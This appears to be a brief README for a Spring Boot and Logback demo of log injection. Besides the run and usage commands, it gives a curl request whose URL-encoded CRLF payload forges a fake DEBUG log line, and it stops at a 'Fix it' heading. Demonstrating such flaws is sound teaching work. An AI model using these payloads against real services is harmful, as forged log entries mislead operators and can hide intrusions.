Log Injection with Spring Boot and Logback

Run

./gradlew bootRun

Usage

curl http://localhost:8080/\?name\=Frodon

Log Forging Attack using CRLF injection

curl http://localhost:8080/\?name\=Marty%0d%0a1985-10-30%2021%3A59%3A01.108%20DEBUG%20128537%20---%20%5Bnio-8080-exec-1%5D%20net.example.logging.HelloController%20%20%20%20%20%20%3A%20You%20have%20been%20pwed%0A

Fix it